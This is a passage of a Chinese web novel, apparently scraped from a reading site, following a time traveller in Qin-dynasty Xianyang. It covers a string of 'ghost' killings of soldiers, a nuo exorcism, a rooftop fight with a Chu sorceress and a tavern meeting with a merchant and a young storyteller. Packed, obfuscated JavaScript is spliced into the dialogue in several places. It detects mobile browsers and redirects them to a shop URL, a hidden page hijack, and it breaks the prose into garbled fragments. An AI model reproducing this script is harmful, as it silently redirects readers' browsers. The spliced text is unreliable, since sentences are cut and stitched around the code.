吕思远等了片刻,问道:“只是什么?” “没什么。”秦王政抚平心绪,“你去哪儿了?怎么将一个醉酒的人扔在屋外?” “我去出恭了,回来时就看到了君上你的身影,所以就在院子外等候了。”吕思远忖了忖,问道:“那起杀人案,查得如何了?” 秦王政道:“数日已过,却无丝毫线索。四周未见任何打斗过的痕迹,甚至连脚印亦未留下一个,应该是凶手一招毙命。” “如此说来,那人的武功很是不弱。” 秦王政“嗯”了声,“此事是冲寡人来的,桑语是无妄之灾。” 吕思远笑道:“阿桑亦是如此说。君上,此事不简单,要有所防备才是。”说罢这话,他自己又摇摇头否定地道:“敌在暗我在明,明枪易挡暗箭难防。” 翌日,桑语醉酒醒来,喉咙干渴得难受。她爬起身来倒水喝,走到窗边往外看去,院子里多了个大雪人。 椿儿推门进来,雪花顺势飘进屋里。“阿姊,喝点热汤吧!” 桑语伸手去接,瞥见指甲中的一根黑色的鬈毛,像是从裘衣衣领上掉落的。若是她没有记错的话,吕思远昨日所穿的是白色的裘衣。 “椿儿,昨儿是谁送我回房的?” 椿儿摇摇头。她们不胜酒力,早早就回屋睡觉了,只有桑语还拉着吕思远在院中喝酒。 “应该是姜……吕公子送阿姊回房的吧。” 桑语呐呐道:“应该是吧。” 她拿起汤匙,喝了口热汤。脑海中浮出一张人脸来,这人脸越来越清晰。 “天呐……”桑语轻声惊呼,手中一滑,汤匙掉进了陶碗中,汤水溅在了她的手背上。 夏历腊月二十九的月亮,高悬在夜空中。咸阳城内宵禁戒严,寂静得只剩几声犬吠。 一队巡城的士兵走过,脚步声回荡在空旷的街道之中。 不远处即是几间民居,窗内闪着微弱的灯光,隐约听见还有说话声。 聊着柴米油盐,聊着家长里短……话题平淡,却蕴藏着深厚的幸福。 冬夜寒气深重,夜空澄明似水。 城外有个小村庄,村东头有棵大槐树。槐树下有一人家,这农舍虽陈旧,此时却满是欢笑声。 篱笆围成的小院中,两个孩童正在追逐玩耍着。月光之下,高绾发髻的女子手里拿着针线,正在缝补衣裳。 那是一件打满了补丁的旧袄子。 她身边坐着的,是一个瘦高个的男子。 男子的左腿搭在一块大石上,目光温柔地注视着嬉戏的孩子们,眼中满是笑意,“应该给他们多做几件新衣,瞧他们高兴的样子。” 女子将针线搁下,“你能从战场上平安回来,孩子们就很是高兴了。至于有没有新衣,他们不会在乎的。” “谁家孩子不思念阿翁?又有谁家孩子不想要新衣?”男子凑近妻子,笑道:“今年挣得的赏钱,还有不少呢。等过年的时候,我们带着孩子们进城玩玩。你先前不是羡慕二狗媳妇的木簪吗?我带你去买两支,你可以每天换着戴的。” “别糟蹋钱了!我整日在田间劳作,哪需要那些首饰,反而是个累赘。”女子虽如此说着,尾音却轻轻上扬。 “这怎能说是糟蹋钱呢?你是我娘子,就应该开心快乐。”男子站起身来,伸出手臂,将妻子环在了怀里,下巴蹭着她的颈窝。 女子反手拍他的肩,“孩子在呢,别闹!” 男子抬起头来,朗声唤着孩子的名字。孩子们也停止了打闹,转身扑进母亲怀中。 一家其乐融融,月亮也舍不得移开眼。 女子的笑容突然凝在脸上。她寻了个理由,有意将孩子们支开。她拉住丈夫的衣角,担忧地道:“我听说,还要打仗。” 男子沉默一瞬,笑着说道:“这样的世道,哪儿有不打仗的时候?我只希望,等虎儿长大之后,不需要和他阿翁一样上战场,可以安安稳稳地过日子。” 气氛忽然沉重起来,女子垂眸看了看丈夫的左腿。从战场上受的伤,起初看起来特别骇人,如今终于养好了许多。 丈夫却说,他还能活着,就是喜事呢,看看那些死在战场上的人,他这点伤算不得什么。 女子抬手抹了抹眼角泪花,“孩子们该睡了,我去看看。”她转身回屋,轻轻地哼唱着童谣。 待将孩子们哄睡了,她往外看了一眼,见丈夫还坐在院中。 “回屋歇息吧。”她走到丈夫身后,将手搭在丈夫的肩上,温柔地说道,“君姑说,明日杀只鸡,给你补补……” 男子依旧背对她坐着,也不说话。 女子以为他睡着了,轻推他的肩。然而正是这一推,男子的头颅咕噜滚落,僵硬的身躯直挺挺地倒下。 这突如其来的一幕,将女子吓懵了。良久之后,她才终于尖叫起来:“救,救命啊!杀人了!” 她吓得跌坐在地,接着就见到老槐树上有鲜血流淌而下…… 迟迟讲着故事,身子微微有些发抖。 “从那以后,每晚都有人被杀。咸阳城中,已是人人自危。太阳一落山,便都躲在家里不出来。门窗也都用重物抵住。饶是如此,仍是命案不断。城中已有传言,说是厉鬼索命。” 此时,四人正坐在梅花树下,吃着果脯,闻着幽幽的花香,天南地北地闲聊着。迟迟绘声绘色地讲着她听来的故事,或许应该叫做“鬼故事”。 椿儿陡然站起身就往外走,桑语忙问道:“你去哪儿?” “我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163478|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看院门外挂着的桃符。” 先秦时期的“桃符”,就是挂在门两旁的两块桃木板,后来渐渐演变成了“春联”。桃木板上绘有驱鬼辟邪的“神荼”、“郁垒”二神的神像,以求祈福消灾。 桑语慢慢嚼着杏肉,脸酸得扭曲成一团。迟迟就坐在她对面,用一种严肃的语气嘟囔着,“可怕!可怕!” “这事儿吧,有些经不起推敲呢。”桑语吐出杏核放入盘中,“应是有人假借厉鬼之名,而行悖道之事。” 椿儿已经折回来了,“大过年的,本应该喜喜庆庆,结果大家连门都不敢出,外面冷冷清清的。这害人的人,真不是个东西。” 桑语道:“你都说他是害人的人了,怎么还指望他是个东西呢。” 阿九沉思了好半晌,问道:“迟迟,你方才所讲的故事里,那个妻子是否也遭了毒手?” 迟迟摇摇头,“说来也奇怪,虽不知这厉鬼为何杀人,亦不知他下一个杀的是谁。然而,他不杀妇孺。被害之人,皆为丁壮者。” 阿九略微想想,“如此看来,杀人者,应该也是个壮汉,且轻功极好。” 迟迟突然想到什么,连忙说道:“我还听说,死者皆是秦军将士。正因为如此,君上甚是生气,还将中尉痛骂了一顿。” 阿九与桑语对视一眼。桑语捻起一块糕点,感慨说道:“这中尉,也真是不容易。” 古代没有监控,倒是给了某些人装神弄鬼的机会。 迟迟神情讶异,“阿姊为何如此说?中尉掌咸阳治安,如今却命案多起,难道不是中尉之责吗?” “这乱子既然是出在咸阳城,自然是中尉的份内事了。我所说的‘不容易’,指的是断案不易。迟迟,你想想,这劳什子厉鬼,是不是对这咸阳城是了如指掌?既然是有备而来,自然有万全之策。何处的戒备最严,何处有致命的漏洞。此人心里门清儿极了,怎么可能被轻易逮到?这事若是久不解决,中尉挨秦王的骂是少不了啰。” 迟迟认真点点头,“阿姊所言,属实有理。” 桑语也不知道自己到底有没有理,但还是骄傲地将眉一挑。 她将泡好的茶递给迟迟,自己也斟上一杯。 先秦的茶,多是被煮作羹饮,桑语却还是更习惯于“冲饮”。 迟迟心急,结果不小心烫了嘴。 “茶有点烫,别急啊。”桑语笑着递给她一块柿饼。 “听说,城中增派了巡逻的士兵,官署严令百姓不许出城。如此瓮中捉鳖,若还是捉不到,恐怕真是鬼魅索命了。” 迟迟说着,心里还是有些害怕。 她搁下茶碗,看向桑语:“赵太后离开了咸阳,应该是去了雍城。” 椿儿皱了眉道:“迟迟只是上街买了些东西,便听说了这么多的事情。赵太后离开咸阳的消息,必定已经传遍全城了,岂不是更导致人心惶惶。” 桑语不置可否,低下头抿了口茶。 赵姬突然离开咸阳,桑语明白其原因。毕竟月份大了,肚子就要藏不住了。只是她早不走晚不走,为何偏偏选择在这个时候离开,这不是给秦王政添乱吗? 25. 傩祭 咸阳城西,一支声势浩大的队伍行走在长街中,阵阵鼓声响彻天地。 为首之人,身着黑衣红裙,披着兽皮,头戴纹饰饕餮的青铜面具。他手中握着一根长矛,边舞边唱着。 临街的酒肆中,有二人临窗而立,凝望着楼下的人群。 桑语先前从未见过如此大场面,自然很是好奇,不肯错过任何细节。 老太卜则背手而立,眼睛跟随人群移动着。 桑语今日刚到太卜署时,就撞见了“方相氏”。其形象之奇异,犹如自古老壁画中跃然而出,令她不由得一阵心悸。 项福耐心地向她解释,“方相”的意思是仿效可怕的相貌,“方相氏”是宫廷中一种专职的祭司,他们通过扮演恐怖的模样,手持戈盾,意图驱赶带来疫疠的恶鬼。“方相氏”,正是这场傩祭的主持者。 生活在贫困和绝望中的人,会将希望寄托于虚无缥缈之中。他们不知如何改变命运,只有将双手合十,然后向天祈祷。 凡人最大的痛苦不是死亡,而是任由死亡的恐惧逐渐蚕食掉生的希望。于是,他们选择用灵魂作为交换。 除了灵魂,他们一无所有。 跳傩的人,戴上面具就成了神,以人心祈求着平安。 围观的人群不住地叩首,皆举手吁天。他们面带愁容,忧形于色。 只有一个蓬头稚子,笑嘻嘻地看着眼前的一切。 队伍远去了,鼓声未歇。桑语转身看向老太卜,认真地问道:“这桩诡案,太卜令如何看?” 老太卜不答她,反问道:“桑太卜对此案,是否有独到之见呢?” 桑语道:“世间万物,纵有鬼神之说,亦应遵循其内在之法则,各行其道,方显天地之序。试想,若鬼神可以无法无天,人、鬼、神三界岂不是将陷入混沌?” 老太卜拈须笑道:“说得有理,不过,人世间尚有不循规矩者,桑太卜怎会觉得鬼神不会如此?” “是啊,法律尚且难以束缚恶人,何况是厉鬼呢?但是,恶人之心,往往比厉鬼更为恐怖。” 桑语目光流转,投向楼下的几株山茶花。今年的冬天太冷,山茶花不似往昔之繁盛,反显凋零之态。 蓦地,她想起了玄女山。 前年的这个时候,后山的山茶花开得十分热闹。然而活人的心思都沉浸于沉重之中,无暇顾及此等美景。 山林之间,一场葬礼正在进行。 下葬者,有十几人。 他们是来玄女山求生路的,但最终还是走向了死亡。 那时候的桑语曾无数次幻想,若自己真是“玄女娘娘”,该多好啊。 桑语始终无法忘记一个名叫喜儿的小姑娘。尽管她的名字中带有“喜”,但她短暂的一生中却鲜少体验过欢喜。 她的阿翁战死沙场,家中收到这一噩耗仅三天,她阿娘也因悲痛过度而撒手人寰。 喜儿从此成为了孤女,被大伯收养。 然而,这个所谓的收养并非出于善意,而是有条件的——朝廷发放的抚恤金全部落入了大伯的腰包。 从那时起,喜儿的生活仿佛陷入了无尽的噩梦。家里所有的脏活累活,都落在了她幼小的肩上。长到十三岁时,喜儿已经出落得亭亭玉立,却不幸引来了大伯的禽兽之心。当她想要将这不堪的情况状告到官府,却被大伯母紧紧锁在家中,失去了自由。 这个苦命的姑娘,被这对恶人利用到了极限,甚至成为了他们赚钱的工具。 秦王政四年,神明闭上了眼睛。这一年里,蝗虫为害,瘟疫流行。 天上的蝗虫将庄稼吃尽了,地上的蝗虫就开始吃人了。 喜儿被卖给了同村的一户人家,厨房里的菜刀“霍霍”地磨得响,喜儿心中非但无惧,反生解脱之感。 世间终究还是有良知未泯之人。 此户人家中,有幼子一名,年龄比喜儿要小几岁。家人命其监视喜儿,然此子心怀慈悲,竟暗中替喜儿解开了身上的绳子。 两个孩子相互扶持,相互鼓励,最终晕倒在了前往玄女山的山路上,好在被下山买药的阿九遇见了。 瘦骨嶙峋的孩子,看着让人格外地难受。 尽管桑语让大夫竭力医救,这两个孩子最终还是离开了这个世界。 喜儿在临终之前,曾伸出手想要握住桑语的手,但最终还是缓缓地缩了回去。她用尽最后一丝力气,笑着呼唤着“阿翁、阿娘”,泪水却沿着脸颊滑落。 将喜儿下葬之后,桑语带着剑,去了一趟喜儿的家乡。彼时,那两个恶人已经被带去了疬迁所。 桑语找到了喜儿父母的坟墓,将喜儿交给她的小香囊埋在了两座坟墓的中间。那是喜儿三岁时,她的阿母亲手做的,上面绣着的是绣球锦,寓意为祛灾祈福,祈愿着团圆和美满。 桑语原本以为,那两个恶人会死在那场瘟疫之中。然而她再次路过喜儿的家乡时,意外地发现他俩居然活得好好的。 阿五愤怒至极,想要亲手手刃那两个恶人,但桑语理智地拦住了她。因为这件事儿,阿五还与桑语闹了好一阵的脾气。 桑语本来打算告到县令那里,让秦律来收拾他们。 然而,令人意想不到的是,那两个恶人在煮饭时不慎点燃了茅草屋,一家四口都丧命于火海之中。 面对这个结果,桑语没有问究竟是天谴,还是人为,只是带着阿五她们回了玄女山,在凋零了的的山茶花旁,敬了一碗清酒。 如果厉鬼真的可以索命,这两个恶人就不可能死得如此容易。 桑语轻轻敛眸,将思绪与目光一并收回,转而看向老太卜道:“先前您让我闭门不出,意在以免纷扰。然而此事尚未尘埃落定,反有愈演愈烈之势,不知您何以在此紧要关头,召我归返太卜署中?” 老太卜微微一笑,“桑太卜觉得,是一事之延续,抑或两事之交织?” 桑语道:“您太客气了,以后但请唤我为‘阿桑’吧。至于究竟是一件事,还是两件事,非我等所能妄断,还需听司法官吏如何说。” 老太卜点了点头:“人杀人,是司法官吏的职责所在,他们自会依法惩处。而若是有人装神弄鬼,扰乱人心,则是我太卜署该管的闲事了。” “所以,您今日特意让人召我归返太卜署,莫非是君上已下令太卜署携手调查此事?” 桑语看老太卜的神情,便知道自己猜对了,“但是,我对卜筮之术一窍不通,您邀我参与,岂不是添乱吗?” 老太卜道:“你不会卜筮,我会呀!但此事非同小可,涉及之人手段狠辣,令人不寒而栗。老夫已经年迈,且武艺不济,实在难以独当一面。而阿桑你,武艺高强,正是老夫所需之助力。你我二人,相辅相成,定能助有司揭开这重重迷雾。” 桑语听得莫名热血,她坚定地点了点头:“桑语不才,愿与太卜大人并肩作战。” 入夜之后,咸阳城安静得可怖。 隐藏在暗处的弓箭手,时刻将弓拉满弦,未敢有丝毫松懈。羽箭的箭头,此时正对准着幽深的空巷。 忽有一白一黑两匹骏马疾驰而来,士兵们的紧张情绪瞬间升级,他们更加用力地握紧了手中的剑柄。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中尉抬手示意随从将水缸盖上,“城中谣言四起,说是厉鬼索命,弄得人心惶惶,正是因为这些血水。凡被害之人,居处都有一滩血水,而这些血水,并非是被害者的。” 他话音刚落,黑暗中传来诡异歌声—— “相鼠有皮,人而无仪。人而无仪,不死何为……” 火光摇曳不定,众人尽皆屏气凝神,紧张地盯着房间里的每个角落。 秦王政微微抬起右手,身旁的蒙毅将一柄长剑递与他。 剑出鞘,一道青光急闪而过,空气中多了几分肃杀之意。 他纵身从半敞的窗中扑出去,凌空翻身上屋顶。果见屋顶上藏有一人,那人听到脚步响,转过身来,歌声戛然而止。 秦王政喝道:“大胆小贼,竟敢装神弄鬼!敢伤我大秦子民,吾必砍汝头颅,再煮肉成臡。” “哈哈哈!”那人发出几声长笑,笑声中满是轻蔑的意味。 秦王政暗想:“这女子心如毒蝎,倒是不可小视!” 他挥剑便向她疾刺过去,那女子却是早有所料一般,只是侧身一躲,“公子啊公子,偷袭乃是小人行径呐!” 她说话之时,交互着发出男声和女声。 秦王政心下一惊,手上招式一缓。 那人发出一阵怪音,“噗”的一声,只见她嘴里吐出一根银针,直冲秦王政的右眼。 26. 寿面 秦王政瞬间侧身闪避,再看过去时,那怪人已经消失了。 忽觉身后似乎有动静,他本能地挥剑向后斩去。幸好他在最后关头及时收手,否则这一剑定会刺中蒙毅的肩膀。 蒙毅叩道:“臣来迟,请君上恕罪!” 秦王政伸手将长剑丢给蒙毅:“寡人知道了,下去吧。” 二人从屋顶跃下,眼前所见是满地被烧焦的虫子尸体,四周弥漫着一股令人作呕的恶臭。原来,蒙毅刚才正是被这些诡异的虫子缠住了脚步。 中尉躬身上前,面带惶恐之色,“君……公子可安好?” 秦王政的眉头拧得厉害,“这些虫子,是怎么回事?” 中尉回道:“公子离去之时,水缸之中发出异响,接着就……就爬出这些奇怪的虫子。” 秦王□□身凑近,一只虫子在焦黑的尸体堆中仍在挣扎。他好奇地伸手想要捡起来细看。 “别碰!有毒!”远处传来老者焦急的警告声。 就在此时,那只虫子如同活转过来了,扑腾着翅膀,试图跃起咬住秦王政的手指。中尉反应迅速,立即拔出腰间的长剑,将那虫子拦腰斩断,几滴微绿颜色的液体随之迸溅而出。 众人见了,不觉得害怕,只觉得恶心。 老太卜脚步急促,几乎是半跑半走地进了屋内。他的目光迅速扫过地面上密密麻麻的虫子,心中不禁一紧,但紧接着,他仔细确认了秦王政安然无恙,这才如释重负,长长地舒了口气,脸上的紧张之色渐渐消散。 秦王政的目光落在了老太卜身后。 桑语刚一脚踏入门槛,步伐瞬间凝固,毫不犹豫地转过身去。 她有密集恐惧症呐! 老太卜问道:“适才老夫远远看到公子与一人缠斗,敢问公子,那人模样如何?” 秦王政神情凝重地道:“杀人者,乃一怪物。” “怪物?” 众人皆是一愕,中尉最先反应过来,“那怪物是何模样?” 秦王政摇摇头,“夜色深沉,我并未能清晰窥见那人的面容,然而,若是观其身量,似是一名女子。此人武功甚奇,寻常人恐难相敌。” 言罢,他的目光不自觉地再次投向了桑语,恰在此时,桑语转回身来,两人的视线相触。 桑语稳了稳心神,缓缓开口,“我方才追上去了,奈何那人几个起落间便消失于夜色之中,我终究还是追丢了。不过,依我所见,她的身形轻盈,确实应该是位女子。” 老太卜沉声道,“是……楚巫。” 众人闻言,皆脸色骤变。 桑语最是镇定,她稍微反应了片刻。 楚巫?是她在悬疑小说中看到的“草鬼婆”吗? 只是,有一事她想不明白。据说,楚地的巫蛊之术,只传女不传男。就算那个草鬼婆生得可怖,也不过是个寻常女子呀!秦王政也不像是那种大惊小怪的人,为何会说那女子是个怪物? “楚巫擅用蛊虫。好在公子没有被蛊虫所伤,不然就糟糕了。楚地的蛊虫,认主。”老太卜说着,从怀中拿出一方帕子,小心地捏起一只已经烧焦了的蛊虫,将它包裹起来,放到袖中,“老夫要带回去看看,就先告辞了!” 老太卜转身离去时,桑语瞥了秦王政一眼,略一迟疑,便迅速跟上了老太卜的步伐。 蒙毅担心秦王政受伤,上前压低声音道,“君上,回宫吧。” 此时丑时已过,月亮渐渐枯萎。君臣二人骑马走在巷间,彼此沉默不言。 “今怪物现世,乃寡人之过,致使黔首遭难。”秦王政眺望着远处,喃喃的声音散在夜风中。 蒙毅落在他身后半步路,听他如此说,登即明白他的忧虑。 自秦王政即位以来,一直不大安稳。秦王政四年,螟虫从东方来,大地不生一物。同年,天下疫,民善暴死。接连遭遇天灾,民怨沸起,市井中更有童谣传唱。 如今命案频发,这无疑使秦王政的心境愈发复杂。 只是如此,岂不是正中某些奸人的下怀! 从侧门悄然回宫,秦王政一人独坐在书房之中。守夜的寺人偷偷抬眼,依稀可以看到踱来踱去的身影。 翌日,鸡鸣数声,桑语从睡梦中醒来。 她昨夜回来后,数羊数到了一万,仍毫无困意。好不容易睡着了,又被一连串的噩梦所困扰。睡觉比不睡觉更痛苦。 “阿姊醒了,睡得可好啊?” 桑语抬头看去,见迟迟端着水盆进屋来。 美人真是赏心悦目,迟迟只是一身布衣,通身并无过多的修饰,但若兰草立于晨雾之中。 迟迟将水盆放到桑语面前,将帕子沾湿,然后递给桑语,“阿姊洗漱吧。” 桑语凑近鼻子闻闻,神情浮夸地道:“迟迟亲手端来,这水中都多了股香味!” 迟迟可没有这般厚脸皮,脸红了红,抬脚转身就走了。 桑语以清水洗漱,然后坐在窗边发愣。 空气中传来一股柴火燃烧的味道,还有热粥的香味儿。 阿五从庖厨中走出,瞧见趴在窗边的桑语,抬手冲她挥了挥手。阿五将铜鼎放置到石桌上,仰头看了一眼天幕,嘴上嘟囔道:“正月都过去一半了,这天气怎么还未转暖!” 桑语听见这番抱怨,陡地坐直了身子。 咸阳官署的一间房子里,并排摆放着十具尸体,尸体上皆盖着一张白布。此时屋内比屋外,还要冷上几分。 令史垂手而立,将昨日的验尸结果据实禀报道:“尸身无伤,项下皮肉不卷凸,两肩井不耸,系死后斫落。昨日之人,与前面八人,情况相似。但是年前的那位死者,脖颈处的衣衫有破伤处,且有血点,应为暗器所杀。且其手上无伤损,则行凶者或许躲于暗处,或许是相熟之人,故而毫无防备。” 秦王政面色严肃地点头,“有劳了!” 令史弯着腰道:“臣惶恐!” 秦王政走到最左边的一具尸体旁,正欲伸手将白布揭开,一旁的蒙毅忽然开口道:“君上,桑山主来了!” 秦王政收回了手,目光转向门口,桑语已经走了进来。她今日身着鹅黄色的直裾,手中拎着一个漆木食盒。 蒙毅向桑语抱拳行礼,桑语笑着点头回礼。 桑语扫了四周一圈,轻声言道:“君上,可否借一步说话?” 秦王政微微颔首。 桑语往一旁让开了一步,让秦王政先行在前。 二人走到一株瘦削的梧桐树下,桑语将食盒揭开。秦王政低头看去,是一只陶碗,碗中盛着的是面条。 “这是?”秦王政问道。 “在我的老家,有个传统,过生日的人,都会在生日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你连这事儿都不知道?”说话的人刻意压低了声音,“说的就是,那位出身有假,触怒了历代先王的在天之灵,因此才招致了这些接连不断的灾祸。” 桑语身形刚动,胳膊上多了一只手。她扭头看去,秦王政的脸色并不好,他冷声说道:“你不必为我,再与人争论。” 一个“啊”字在喉咙处打了个转,最终还是咽了下去。 桑语将另一只手伸到身后,果然摸到了一只毛茸茸的脑袋。适才这只小猫就钻到了她的衣摆之下了,她全然没有听清隔壁桌在说些什么,但是眼下听秦王政所说之言,她也能够猜出来了。 “公子,”她以眼示意仍按在她胳膊上的手。 秦王政缩回手,端起酒觞。 桑语亦是不语。 她一直在想一件事儿:杀人的楚巫,是否与她此行竭力追寻的人物有着千丝万缕的联系? 毕竟,那人敢私自启动时光机器,不顾一切地穿越回先秦时代,其背后定隐藏着非同小可的使命与图谋。 桑语的心中,既怀揣着一丝微妙的期盼——若二者真有关联,她就能回家了,让这次任务画上圆满的句号。 然而,这份期盼又很快被忧虑所笼罩,因为那位神秘人还携带着两件来自现代的先进武器,其潜在的威胁与破坏力,让她不禁为无辜的古人安危担忧起来。 桑语在心里叹了口气,这项任务还真是麻烦。她的奖金都存在银行卡里了,一分未动,原本准备将来毕业之后做个首付的,如今却担心没命花了。 27. 元青 白日里的咸阳城依旧繁华,人流如注,然而厉鬼杀人案仍是个怪异的谜团,死亡的乌云,始终笼罩在这座城市的上空。 桑语今日独自去往商坊,乱转了半日,肚子也渐渐有点儿饿了。她瞥见道旁有一家酒肆,酒肆内人声鼎沸,看起来生意还不错。 她跨步进去,小二笑脸迎上,领着她在临窗的位置上坐下。小二站在旁边问道:“客官,要吃什么?” 桑语偏头看了眼邻桌:“那是什么?” 小二看了一眼,回答道:“是鲫白羹,客官要来一份吗?” “好,再来一份蒸饼。”桑语从衣袖中摸出一把圜钱放在桌案上。 小二接过钱,说了一句“您稍等”,便往后厨的方向去了。 对面的男子看了她一眼,放下手中的酒觞,微笑着开口说道:“真是有缘,去年在酒肆一别后,我们竟然又在酒觞中重逢了!” 桑语四下看看,确认他是在和自己说话,有些尴尬地回应道:“不好意思,您是?” 一双桃花眼微微上挑,男子拱手道:“在下名唤相瑾,乃齐国商贾。” 桑语觉得这话耳熟,定睛一看,原来还真是有过一面之缘的人。只是一旦想起那个酒肆,就会想起那位黄衣男人。 桑语心里生出几分警惕来,试探地问道:“如此说来,还真是缘分。这位公子,您是常居于咸阳吗?” 相瑾道:“岁末之际,我归乡临淄,直至近日方重返咸阳。我也是昨日才知道咸阳居然发生了如此骇人听闻之事。”他微微侧身,向桑语靠近了些许,放低了声音,“那些传闻,在下自是不相信的。在下相信的是,清者自清。” 桑语不自在地往旁边让了让,还是客气地说了声“多谢”。她给自己倒了碗热茶,低头喝茶不语。 她在商坊中走了半日,不仅饿了,而且渴了。她终于明白了为何古人常设茶摊,看来并非嗜好饮茶,而是‘江湖救急’呐! “客官,您的菜已经上齐了!” 小二将一羹一饼摆到桑语面前,然后迅速退了下去。 桑语尝了一口鲫鱼,鱼肉细腻,鲜香四溢。如此佳肴,真适合在这样寒冷的天气里享用。 “孔儒之道,入世而修身,以道德为根本……” 邻桌传来的谈话声,不经意间飘入了桑语的耳畔。她好奇地侧脸偷偷看去,是一老一少两人。 那少年郎道:“而今适逢乱世,不乏舍义而逐生者。若一味以道德为约束,恐作奸犯科者众。” 桑语嘴里嚼着鱼肉,耳朵却是十二分认真地听着。再看相瑾,虽手中轻轻摇晃着酒觞,亦是将身子侧着向外。 那一老一少聊了几句,其中的老者便告辞离去了。 相瑾抱起酒坛,随即站起身,走到邻桌。“小兄弟,我请你喝酒。” 少年郎眼也不抬,“多谢兄台好意,非我买来之酒,我不饮。” 相瑾倒也不介怀,他自顾地坐下,还冲桑语招了招手。 桑语纠结了一瞬,也厚着脸皮跟了过去。 少年郎瞥了一眼二人,随即将手中的筷箸往桌上一放,脸上流露出明显的不悦之色。 相瑾嘿嘿一笑,毫不在意地举起酒觞:“你我三人能够同桌共饮,这便是难得的缘分。来,在下敬二位一杯!” 少年郎并没有理会他,只是低头吃着碗里的鲫白羹。相瑾讪讪地搁下了手中的酒觞,“在下名为相瑾。乐莫乐兮新相知,捐赤瑾于中庭。” 桑语闻言,抬眸深深看了相瑾一眼。他说的并不是一句完整的诗句,但是都出自于“楚辞”。 桑语很快便觉得只是自己多想。她现在对于“楚”太过疑了,甚至有些杯弓蛇影。先秦人物的名字来源于《诗经》和《楚辞》,应该是不少见的。 身为商人,脸皮得“厚”。 碰了一鼻子的灰,相瑾仍未放弃,而是继续说道:“方才有幸听得小兄弟的独到见解,实乃振聋发聩,令在下心生敬佩,颇感意犹未尽,不知小兄弟是否愿意再展高论?” 少年郎用鼻子冷笑了一声,“非知音者,一方滔滔不绝,自视为金玉良言;一方虽默默倾听,却可能仅出于礼貌,而非真理解其意。终究,皆增心中之烦恼,何苦为之?若非真心能解我意者,我又何必徒费口舌?” 桑语酝酿了片刻,开口说道:“‘惶惶若丧家之犬’,此乃孔子之自嘲也,亦是其一生之命运。孔子历试于天下,苟非大无道之国,皆欲勉强扶持。‘丧家之犬’,非仲尼一人之命运也,而是整个儒家。群雄并起,强者为王,‘王道’二字似乎不适用于这个时代。然,国之大事,在祀与戎。‘王道’,恰恰是这个时代最缺乏的。” “读了经,不一定成圣。同样的,仁义之君,不一定非得读孔孟。走遍人生漫漫路,所悟之物,方是自己所得。孟子有言,人皆可以为尧舜。依我看呐,孔孟,藏在人心之中,尧舜难成,却可以成为自己的孔孟。无论孔儒,亦或是老庄,思想如何适应时代,才是最大的问题。人各有见解,然而不同的见解适用于不同的国家。这些见解,有可取之处,亦有舍弃之处。无法以一言论断孰对孰错。” 二人的目光皆在桑语的身上微微顿了一瞬。他二人沉默良久,似乎思考着什么。 桑语有些心慌,长篇大论一时爽,都未顾及到自己所处的时代背景。 少年郎缄默半晌,终是开口道:“在下元青,师从小说家。” 小说家?桑语有些惊讶,却并未表露出来。 相瑾颇有些感慨道:“王侯将相,功名富贵,皆是云烟罢了。真正不朽的,只有刻在竹简上的文字。小说家,存在于世,堪作书以留传后世之重任。” 对于这番话,元青似乎很是受用,嘴角带了抹笑。 桑语听了,也微微点了点头。 漫长的几千年时间里,许多历史都逐渐“故事化”。而这些故事是否流传,也决定于这些故事如何被讲述。 有人创造历史,也有人编造历史。 桑语忽然产生一个奇特的想法:她现在可能不在历史时空里面,而是被困于文字之中。 元青渐渐放下了心中的防备,三人喝酒闲谈时,他将自己的故事讲述了一遍。 元青出身寒门。先祖曾任周朝宰夫,后因事降职,于是告假回乡,过着耕读课子的日子。 春秋百年之战乱,致使人民流亡,土地荒芜。 至元青祖父这一辈,几经辗转后定居于秦国咸阳。元青父亲早逝,他的母亲含辛茹苦地拉扯大几个孩子。 战国私学昌盛,元青有幸拜读于一位远来游方的先生的门下。他自幼果敢有才气,常以替人抄书为生,长大后则成为稗官。虽不富裕,但也不必饿肚子。 听完整个故事,桑语有些感慨,只觉得一口气堵住喉咙。 她透过窗往外看了一眼。 时候也不早了,她该回去了,不然阿五她们又该担心了。 桑语幽幽叹了口气,“我与二位有缘,倒也不瞒二位。我今日有幸遇见二位,全是因为我来商坊寻良医。” 元青不解,“你是不是走错地方了?商坊中多是商人,哪里来的良医?” 桑语愁眉苦脸,“小兄弟有所不知,那病属实是有些怪异。虽已看过许多名医,但都束手无策啊。” 相瑾适时地问道:“如何怪异?” “来看病的大夫说,非寻常染疾,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163481|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚巫所为。” “楚巫?”元青似乎有些惊讶。 “下蛊之人,早已不知所踪。而我的家人,已经命悬一线了。若是再不医治,恐怕,恐怕就,唉!”桑语垂眸,抬袖拭了拭自己的眼角。 